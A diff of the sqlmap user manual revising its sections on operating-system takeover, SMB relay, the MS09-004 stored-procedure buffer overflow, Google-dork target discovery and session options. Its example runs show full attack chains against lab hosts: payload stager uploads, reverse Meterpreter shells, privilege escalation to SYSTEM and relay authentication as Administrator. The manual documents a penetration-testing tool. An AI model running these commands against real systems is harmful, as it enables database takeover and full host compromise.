@@ -4838,39 +4924,35 @@ which payload encoding do you want to use?
 [12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
 [13] Alpha2 Alphanumeric Unicode Uppercase Encoder
 > 
-[hh:mm:58] [INFO] creation in progress .................. done
-[hh:mm:16] [INFO] compression in progress . quit unexpectedly with return code 1
-[hh:mm:17] [INFO] failed to compress the file because you provided a Metasploit version 
-above 3.3-dev revision 6681. This will not inficiate the correct execution of sqlmap. 
-It might only slow down a bit the execution of sqlmap
-[hh:mm:17] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/sqlmapmsfyahls.exe'
-[hh:mm:20] [WARNING] often Microsoft SQL Server 2005 runs as Network Service which has no 
-Windows Impersonation Tokens within all threads, this makes Meterpreter's incognito 
-extension to fail to list tokens
+[hh:mm:53] [INFO] creation in progress ..... done
+[hh:mm:58] [INFO] compression in progress . done
+[hh:mm:59] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/tmpmqyws.exe'
 do you want sqlmap to upload Churrasco and call the Metasploit payload stager as its 
-argument so that it will be started as SYSTEM? [Y/n] y
-[hh:mm:36] [INFO] the binary file is bigger than 65280 bytes. sqlmap will split it into 
-chunks, upload them and recreate the original file out of the binary chunks server-side, 
-wait..
-[hh:mm:22] [INFO] file chunk 1 written
-[hh:mm:06] [INFO] file chunk 2 written
-[hh:mm:06] [INFO] running Metasploit Framework 3 command line interface locally, wait..
+argument so that it will be started as SYSTEM? [y/N] 
+[hh:mm:22] [INFO] running Metasploit Framework 3 command line interface locally, wait..
 [*] Please wait while we load the module tree...
-[*] Handler binding to LHOST 0.0.0.0
-[*] Started reverse handler
+[*] Started reverse handler on 172.16.213.1:44780 
 [*] Starting the payload handler...
 [hh:mm:31] [INFO] running Metasploit Framework 3 payload stager remotely, wait..
-[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
-[*] Sending stage (718336 bytes)
-[*] Meterpreter session 1 opened (192.168.1.161:61499 -> 192.168.1.131:3221)
+[*] Sending stage (748032 bytes)
+[*] Meterpreter session 1 opened (172.16.213.1:44780 -> 172.16.213.128:2185)
 
 meterpreter > 
-[hh:mm:01] [INFO] loading Meterpreter 'incognito' extension and displaying the list of 
-Access Tokens availables. Choose which user you want to impersonate by using incognito's 
-command 'impersonate_token'
-Loading extension priv...success.
+[hh:mm:34] [INFO] trying to escalate privileges using Meterpreter 'getsystem' command which 
+tries different techniques, including kitrap0d
+[hh:mm:34] [INFO] displaying the list of Access Tokens availables. Choose which user you 
+want to impersonate by using incognito's command 'impersonate_token' if 'getsystem' did not 
+success to elevate privileges
+Loading extension espia...success.
 meterpreter > Loading extension incognito...success.
-meterpreter > Server username: NT AUTHORITY\SYSTEM
+meterpreter > Loading extension priv...success.
+meterpreter > Loading extension sniffer...success.
+meterpreter > Computer: W2K3DEV
+OS      : Windows .NET Server (Build 3790, Service Pack 2).
+Arch    : x86
+Language: en_US
+meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE
+meterpreter > ...got system (via technique 4).
 meterpreter > 
 Delegation Tokens Available
 ========================================
@@ -4878,16 +4960,34 @@ NT AUTHORITY\LOCAL SERVICE
 NT AUTHORITY\NETWORK SERVICE
 NT AUTHORITY\SYSTEM
 W2K3DEV\Administrator
-W2K3DEV\IUSR_WIN2003
+W2K3DEV\IUSR_W2K3STENSP0
 W2K3DEV\postgres
 
 Impersonation Tokens Available
 ========================================
 NT AUTHORITY\ANONYMOUS LOGON
 
+meterpreter > Server username: NT AUTHORITY\SYSTEM
+meterpreter > ipconfig
+
+MS TCP Loopback interface
+Hardware MAC: 00:00:00:00:00:00
+IP Address  : 127.0.0.1
+Netmask     : 255.0.0.0
+
+
+
+VMware Accelerated AMD PCNet Adapter #2
+Hardware MAC: 00:0c:29:86:69:1b
+IP Address  : 172.16.213.128
+Netmask     : 255.255.255.0
+
+
 meterpreter > getuid
 Server username: NT AUTHORITY\SYSTEM
 meterpreter > exit
+
+[hh:mm:52] [INFO] cleaning up the database management system
 
 
 
@@ -4897,31 +4997,30 @@ meterpreter > exit
 Options: --os-smbrelay, --priv-esc and --msf-path
 
 
      
-If the back-end database management system runs as Administrator
-and the underlying operating system is not patched against Microsoft
-Security Bulletin ,
-sqlmap can abuse the universal naming convention (UNC) supported within
-all database management systems to force the database server to initiate a
-SMB connection with the attacker host, then perform a SMB authentication
-relay attack in order to establish a high-privileged out-of-band TCP
-stateful channel between the attacker host and the target database
-server.
+If the back-end database management system runs on Windows as
+Administrator and the system is not patched against Microsoft
+Security Bulletin , sqlmap can abuse the universal naming convention (UNC)
+feature within any database management system to force the database server
+to initiate a SMB connection with the attacker host, then perform a SMB
+authentication relay attack in order to establish a high-privileged
+out-of-band TCP stateful channel between the attacker host and
+the target database server.
 sqlmap relies on 's SMB relay exploit to perform this attack, so you need
-to have it already on your system - it's free and can be downloaded from the
-homepage.
-You need to run sqlmap as root user if you want to perform a SMB
-relay attack because it will need to listen on a user-specified SMB TCP
-port for incoming connection attempts.
+name="Metasploit">'s SMB relay exploit to perform this attack.
+You need to run sqlmap as a privileged user (e.g. root) if you
+want to perform a SMB relay attack because it will need to listen on a
+user-specified SMB TCP port for incoming connection attempts.
 
 
      
-Note that this feature is not supported by sqlmap running on Windows platform
-because Metasploit's msfconsole and msfcli are not supported on the native
-Windows Ruby interpreter.
+Note that this feature is not supported by sqlmap running on Windows
+platform because it relies on Metasploit's msfpayload which is
+not fully working on Windows.
 
 
      
-This technique is detailed in white paper
-.
+This technique is detailed in the white paper
+.
 
 
      
 Example on a Microsoft SQL Server 2005 Service Pack 0 running as
@@ -4948,8 +5047,8 @@ send the NTLM session hash when connecting to a SMB service
 [3] Reverse TCP
 [4] Reverse TCP (No NX)
 > 1
-[hh:mm:16] [INFO] which is the local address? [192.168.1.161] 192.168.1.161
-[hh:mm:16] [INFO] which is the back-end DBMS address? [192.168.1.131] 192.168.1.131
+[hh:mm:16] [INFO] which is the local address? [172.16.213.161] 172.16.213.161
+[hh:mm:16] [INFO] which is the back-end DBMS address? [172.16.213.131] 172.16.213.131
 [hh:mm:16] [INFO] which remote port numer do you want to use? [4907] 4907
 [hh:mm:16] [INFO] which payload do you want to use?
 [1] Reflective Meterpreter (default)
@@ -4980,27 +5079,27 @@ send the NTLM session hash when connecting to a SMB service
        =[ 168 aux
 
 resource> use windows/smb/smb_relay
-resource> set SRVHOST 192.168.1.161
-SRVHOST => 192.168.1.161
+resource> set SRVHOST 172.16.213.161
+SRVHOST => 172.16.213.161
 resource> set SRVPORT 139
 SRVPORT => 139
 resource> set PAYLOAD windows/meterpreter/bind_tcp
 PAYLOAD => windows/meterpreter/bind_tcp
 resource> set LPORT 4907
 LPORT => 4907
-resource> set RHOST 192.168.1.131
-RHOST => 192.168.1.131
+resource> set RHOST 172.16.213.131
+RHOST => 172.16.213.131
 resource> exploit
 [*] Exploit running as background job.
 msf exploit(smb_relay) > 
 [*] Started bind handler
 [*] Server started.
-[*] Received 192.168.1.131:3242 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 
+[*] Received 172.16.213.131:3242 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 
 Service Pack 2 LM:
-[*] Sending Access Denied to 192.168.1.131:3242 \
-[*] Received 192.168.1.131:3242 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows 
+[*] Sending Access Denied to 172.16.213.131:3242 \
+[*] Received 172.16.213.131:3242 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows 
 Server 2003 3790 Service Pack 2 LM:
-[*] Authenticating to 192.168.1.131 as W2K3DEV\Administrator...
+[*] Authenticating to 172.16.213.131 as W2K3DEV\Administrator...
 [*] AUTHENTICATED as W2K3DEV\Administrator...
 [*] Connecting to the ADMIN$ share...
 [*] Regenerating the payload...
@@ -5015,26 +5114,26 @@ Server 2003 3790 Service Pack 2 LM:
 [*] Removing the service...
 [*] Closing service handle...
 [*] Deleting \wELRmcmd.exe...
-[*] Sending Access Denied to 192.168.1.131:3242 W2K3DEV\Administrator
+[*] Sending Access Denied to 172.16.213.131:3242 W2K3DEV\Administrator
 [*] Transmitting intermediate stager for over-sized stage...(216 bytes)
-[*] Received 192.168.1.131:3244 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 
+[*] Received 172.16.213.131:3244 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 
 Service Pack 2 LM:
-[*] Sending Access Denied to 192.168.1.131:3244 \
-[*] Received 192.168.1.131:3244 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows 
+[*] Sending Access Denied to 172.16.213.131:3244 \
+[*] Received 172.16.213.131:3244 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows 
 Server 2003 3790 Service Pack 2 LM:
-[*] Authenticating to 192.168.1.131 as W2K3DEV\Administrator...
+[*] Authenticating to 172.16.213.131 as W2K3DEV\Administrator...
 [*] AUTHENTICATED as W2K3DEV\Administrator...
-[*] Ignoring request from 192.168.1.131, attack already in progress.
-[*] Sending Access Denied to 192.168.1.131:3244 W2K3DEV\Administrator
+[*] Ignoring request from 172.16.213.131, attack already in progress.
+[*] Sending Access Denied to 172.16.213.131:3244 W2K3DEV\Administrator
 [*] Sending stage (718336 bytes)
-[*] Meterpreter session 1 opened (192.168.1.161:51813 -> 192.168.1.131:4907)
+[*] Meterpreter session 1 opened (172.16.213.161:51813 -> 172.16.213.131:4907)
 
 Active sessions
 ===============
 
   Id  Description  Tunnel                                       
   --  -----------  ------                                       
-  1   Meterpreter  192.168.1.161:51813 -> 192.168.1.131:4907  
+  1   Meterpreter  172.16.213.161:51813 -> 172.16.213.131:4907  
 
 msf exploit(smb_relay) > [*] Starting interaction with 1...
 
@@ -5050,72 +5149,67 @@ msf exploit(smb_relay) > exit
 
 
 
-Stored procedure buffer overflow exploitation
+Database stored procedure heap-based buffer overflow exploit
 
 
      
 Options: --os-bof, --priv-esc and --msf-path
 
 
      
-If the back-end database management system is not patched against Microsoft
-Security Bulletin ,
-sqlmap can exploit the heap-based buffer overflow affecting
-sp_replwritetovarbin stored procedure in order to establish an
-out-of-band TCP stateful channel between the attacker host and the
-target database server.
+If the back-end database management system is Microsoft SQL Server not
+patched against Microsoft Security Bulletin
+, sqlmap can exploit the heap-based buffer overflow
+affecting sp_replwritetovarbin stored procedure in order to
+establish an out-of-band TCP stateful channel between the
+attacker host and the target database server.
 sqlmap has its own exploit to trigger the vulnerability, but it relies on
  to
-generate the shellcode used within the exploit, so you need to have it
-already on your system - it's free and can be downloaded from the homepage.
+generate the shellcode used within the exploit.
 
 
      
-Note that this feature is not supported by sqlmap running on Windows platform
-because Metasploit's msfconsole and msfcli are not supported on the native
-Windows Ruby interpreter.
+Note that this feature is not supported by sqlmap running on Windows
+platform because it relies on Metasploit's msfcli which is not
+available for Windows.
 
 
      
-This technique is detailed in white paper
-.
+This technique is detailed in the white paper
+ and in the
+slide deck .
 
 
      
 Example on a Microsoft SQL Server 2005 Service Pack 0 target:
 
 
-$ sudo python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
-  --os-bof -v 1 --msf-path /home/inquis/software/metasploit
+$ python sqlmap.py -u http://172.16.213.128/sqlmap/mssql/iis/get_int.asp?id=1 \
+  --os-bof -v 1 --msf-path ~/software/metasploit
 
 [...]
-[hh:mm:09] [INFO] the back-end DBMS is Microsoft SQL Server
-web server operating system: Windows 2000
 web application technology: ASP.NET, Microsoft IIS 6.0, ASP
 back-end DBMS: Microsoft SQL Server 2005
 
-[hh:mm:09] [INFO] testing stacked queries support on parameter 'name'
-[hh:mm:14] [INFO] the web application supports stacked queries on parameter 'name'
-[hh:mm:14] [INFO] going to exploit the Microsoft SQL Server 2005 'sp_replwritetovarbin' 
+[hh:mm:51] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:56] [INFO] the web application supports stacked queries on parameter 'id'
+[hh:mm:56] [INFO] going to exploit the Microsoft SQL Server 2005 'sp_replwritetovarbin' 
 stored procedure heap-based buffer overflow (MS09-004)
-[hh:mm:14] [INFO] fingerprinting the back-end DBMS operating system version and service pack
-[hh:mm:14] [INFO] retrieved: 1
-[hh:mm:15] [INFO] retrieved: 1
-[hh:mm:15] [INFO] the back-end DBMS operating system is Windows 2003 Service Pack 2
-[hh:mm:15] [INFO] testing if current user is DBA
-[hh:mm:15] [INFO] retrieved: 1
-[hh:mm:15] [INFO] checking if xp_cmdshell extended procedure is available, wait..
-[hh:mm:21] [INFO] xp_cmdshell extended procedure is available
-[hh:mm:21] [INFO] creating Metasploit Framework 3 multi-stage shellcode for the exploit
+[hh:mm:56] [INFO] fingerprinting the back-end DBMS operating system version and service pack
+[hh:mm:56] [INFO] retrieved: 1
+[hh:mm:58] [INFO] retrieved: 1
+[hh:mm:58] [INFO] the back-end DBMS operating system is Windows 2003 Service Pack 2
+[hh:mm:58] [INFO] creating Metasploit Framework 3 multi-stage shellcode 
 which connection type do you want to use?
-[1] Bind TCP (default)
-[2] Bind TCP (No NX)
-[3] Reverse TCP
-[4] Reverse TCP (No NX)
+[1] Reverse TCP: Connect back from the database host to this machine (default)
+[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 
+between the specified and 65535
+[3] Bind TCP: Listen on the database host for a connection
 > 
-which is the back-end DBMS address? [192.168.1.131] 
-which remote port numer do you want to use? [39391] 62719
+which is the local address? [172.16.213.1] 
+which local port number do you want to use? [21380] 
 which payload do you want to use?
-[1] Reflective Meterpreter (default)
-[2] PatchUp Meterpreter (only from Metasploit development revision 6742)
-[3] Shell
-[4] Reflective VNC
-[5] PatchUp VNC (only from Metasploit development revision 6742)
+[1] Meterpreter (default)
+[2] Shell
+[3] VNC
 > 
 which payload encoding do you want to use?
 [1] No Encoder
@@ -5132,25 +5226,39 @@ which payload encoding do you want to use?
 [12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
 [13] Alpha2 Alphanumeric Unicode Uppercase Encoder
 > 
-[hh:mm:50] [INFO] creation in progress .................. done
-[hh:mm:08] [INFO] handling DEP
-[hh:mm:08] [INFO] the back-end DBMS underlying operating system supports DEP: going to 
-handle it
-[hh:mm:08] [INFO] checking DEP system policy
-[hh:mm:09] [INFO] retrieved: OPTIN
-[hh:mm:12] [INFO] only Windows system binaries are covered by DEP by default
-[hh:mm:12] [INFO] running Metasploit Framework 3 command line interface locally, wait..
-[hh:mm:12] [INFO] triggering the buffer overflow vulnerability, wait..
+[hh:mm:16] [INFO] creation in progress .... done
+[hh:mm:20] [INFO] running Metasploit Framework 3 command line interface locally, wait..
 [*] Please wait while we load the module tree...
-[*] Started bind handler
+[*] Started reverse handler on 172.16.213.1:21380 
 [*] Starting the payload handler...
-[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
-[*] Sending stage (718336 bytes)
-[*] Meterpreter session 1 opened (192.168.1.161:33765 -> 192.168.1.131:62719)
+[hh:mm:27] [INFO] triggering the buffer overflow vulnerability, wait..
+[*] Sending stage (748032 bytes)
+[*] Meterpreter session 1 opened (172.16.213.1:21380 -> 172.16.213.128:12062)
 
+meterpreter > Loading extension espia...success.
+meterpreter > Loading extension incognito...success.
 meterpreter > Loading extension priv...success.
-meterpreter > getuid
-Server username: NT AUTHORITY\NETWORK SERVICE
+meterpreter > Loading extension sniffer...success.
+meterpreter > Computer: W2K3DEV
+OS      : Windows .NET Server (Build 3790, Service Pack 2).
+Arch    : x86
+Language: en_US
+meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE
+meterpreter > ipconfig
+
+MS TCP Loopback interface
+Hardware MAC: 00:00:00:00:00:00
+IP Address  : 127.0.0.1
+Netmask     : 255.0.0.0
+
+
+
+VMware Accelerated AMD PCNet Adapter #2
+Hardware MAC: 00:0c:29:86:69:1b
+IP Address  : 172.16.213.128
+Netmask     : 255.255.255.0
+
+
 meterpreter > exit
 
 
@@ -5161,64 +5269,82 @@ meterpreter > exit
 
 
      
 Option: --reg-read
-#TODO
+
+
      
+TODO
 
 
 Write a Windows registry key value data
 
 
      
 Option: --reg-add
-#TODO
+
+
      
+TODO
 
 
 Delete a Windows registry key value
 
 
      
 Option: --reg-del
-#TODO
+
+
      
+TODO
 
 
 Windows registry key
 
 
      
 Option: --reg-key
-#TODO
+
+
      
+TODO
 
 
 Windows registry key value
 
 
      
 Option: --reg-value
-#TODO
+
+
      
+TODO
 
 
 Windows registry key value data
 
 
      
 Option: --reg-data
-#TODO
+
+
      
+TODO
 
 
 Windows registry key value type
 
 
      
 Option: --reg-type
-#TODO
+
+
      
+TODO
 
 
 Miscellaneous
 
-Save and resume all data retrieved on a session file
+Session file: save and resume all data retrieved
 
 
      
 Option: -s
 
 
      
-It is possible to log all queries and their output into a text file while
+By default sqlmap logs all queries and their output into a text file while
 performing whatever request, both in blind SQL injection and in inband SQL
 injection.
 This is useful if you stop the injection and resume it after some time.
 
+
      
+The default session file is output/hostname/session, but you can
+change its path with the -s option.
+
 
      
 Example on a PostgreSQL 8.3.5 target:
 
@@ -5310,11 +5436,13 @@ banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
 Option: --flush-session
 
 
      
-As you are already familiar with the concept of a session file from description
-of option -s, it's good to know that you can flush the content of that 
-same file using option --flush-session. In that way you can
-avoid caching mechanisms implemented in sqlmap. Other possible way is the 
-manual removing of session file(s) from output directory.
+As you are already familiar with the concept of a session file from the
+description of option -s, it is good to know that you can flush
+the content of that same file using option --flush-session.
+This way you can avoid caching mechanisms implemented by default in
+sqlmap. Other possible way is the manual removing of session file(s),
+sqlmap.log in the example above, or the default
+output/hostname/session if -s is not provided.
 
 
 Estimated time of arrival
@@ -5387,13 +5515,13 @@ then estimates the time of arrival, shows the progress in percentage and
 counts the number of retrieved query output characters.
 
 
-Use google dork results from specified page number
+Use Google dork results from specified page number
 
 
      
 Option: --gpage
 
 
      
-Default sqlmap behavior with option -g is to do a google
+Default sqlmap behavior with option -g is to do a Google
 search and use resulting urls from first (100) result page for further 
 sql injection testing. In combination with this option you can specify
 some other page other than the first one for retrieving target urls.
@@ -5407,14 +5535,15 @@ $ python sqlmap.py -g "ext:php login" --gpage 3 -v 1
 
 [hh:mm:14] [INFO] first request to Google to get the session cookie
 [hh:mm:14] [INFO] using Google result page #3
-[hh:mm:14] [INFO] sqlmap got 100 results for your Google dork expression, 89 of them are testable targets
+[hh:mm:14] [INFO] sqlmap got 100 results for your Google dork expression, 89 of them are 
+testable targets
 [hh:mm:15] [INFO] sqlmap got a total of 89 targets
 url 1:
 GET http://www.XXX.com/index.php?pageid=login
 do you want to test this url? [Y/n/q]
 > y
 [hh:mm:17] [INFO] testing url http://www.XXX.com/index.php?pageid=login
-[hh:mm:17] [INFO] using '/home/inquis/software/sqlmap/subversion/trunk/sqlmap/output/www.XXX.com/session' as session file
+[hh:mm:17] [INFO] using '/home/inquis/sqlmap/output/www.XXX.com/session' as session file
 [hh:mm:17] [INFO] testing connection to the target url
 [hh:mm:17] [INFO] testing if the url is stable, wait a few seconds
 [hh:mm:19] [INFO] url is stable
@@ -5427,14 +5556,14 @@ do you want to test this url? [Y/n/q]
 
 
 
-Update sqlmap
+Update sqlmap
 
 
      
 Option: --update
 
 
      
-Using this option you can update the program to the latest version 
-directly from source repository together with the latest 
+Using this option you can update the program to the latest version
+directly from the Subversion repository along with the latest
 Microsoft SQL Server XML versions file from Chip Andrews'
 .
@@ -5444,14 +5573,19 @@ $ python sqlmap.py --update
 
 [...]
 [hh:mm:27] [INFO] updating sqlmap to latest development version from the subversion repository
-[hh:mm:28] [INFO] updated to the latest revision 1356
+[hh:mm:28] [INFO] updated to the latest revision XXXX
 [hh:mm:29] [INFO] updating Microsoft SQL Server XML versions file
 [hh:mm:33] [INFO] no new Microsoft SQL Server versions since the last update
 [...]
 
 
+
      
+The Debian and Red Hat installation packages (deb and rpm) as well as the
+Windows binary package (exe) can not be used to update sqlmap. You need
+a source package (gzip, bzip2 or zip) to use this feature.
 
-Save options on a configuration INI file
+
+Save options in a configuration INI file
 
 
      
 Option: --save
@@ -5467,7 +5601,7 @@ Example on a PostgreSQL 8.3.5 target:
 $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
   -v 1 --save
 
-[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-SAUbs.conf' 
+[hh:mm:33] [INFO] saved command line options on '/home/inquis/sqlmap/sqlmap-SAUbs.conf' 
 configuration file
 [hh:mm:33] [INFO] testing connection to the target url
 [hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
@@ -5597,13 +5731,12 @@ timesec = 5
 
      
 The file is a valid sqlmap configuration INI file.
 You can edit the configuration options as you wish and pass it to sqlmap
-with the -c option as explained above in section 5.2:
+with the -c option as explained above in section 5.2.5:
 
 
-$ python sqlmap.py -c "sqlmap-SAUbs.conf"
+$ python sqlmap.py -c sqlmap-SAUbs.conf
 
 [...]
-
 banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real 
 (Ubuntu 4.3.2-1ubuntu11) 4.3.2'
 
@@ -5615,8 +5748,8 @@ banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
 Option: --batch
 
 
      
-If you want sqlmap to run as a batch tool, without any users interaction 
-when a choice has to be done, you can force it by using --batch
+If you want sqlmap to run as a batch tool, without any user's interaction 
+when sqlmap requires it, you can force it by using --batch
 option, and leave sqlmap to go for a default behaviour.
 
 
      
@@ -5626,6 +5759,7 @@ Example on a MySQL 5.0.67 target:
 $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_str.php?id=1&name=luther" \
   --batch -v 1
 
+[...]
 [hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
 [hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
 [hh:mm:22] [INFO] GET parameter 'id' is dynamic
@@ -5654,19 +5788,19 @@ back-end DBMS:	MySQL >= 5.0.0
 
 
 
      
-As you can see, sqlmap by default automatically chooses to inject payload 
-to the first vulnerable parameter.
+As you can see, sqlmap by default chose the injection payload to the first
+vulnerable parameter.
 
 
-Clean up the DBMS by sqlmap specific UDF and tables
+Cleanup the DBMS by sqlmap specific UDF(s) and table(s)
 
 
      
 Option: --cleanup
 
 
      
 It is recommended to clean up the back-end database management system from
-sqlmap temporary tables and created user-defined functions when you are
-done with owning the underlying operating system or file system.
+sqlmap temporary table(s) and created user-defined function(s) when you
+are done with owning the underlying operating system or file system.
 
 
      
 Example on a PostgreSQL 8.3.5 target: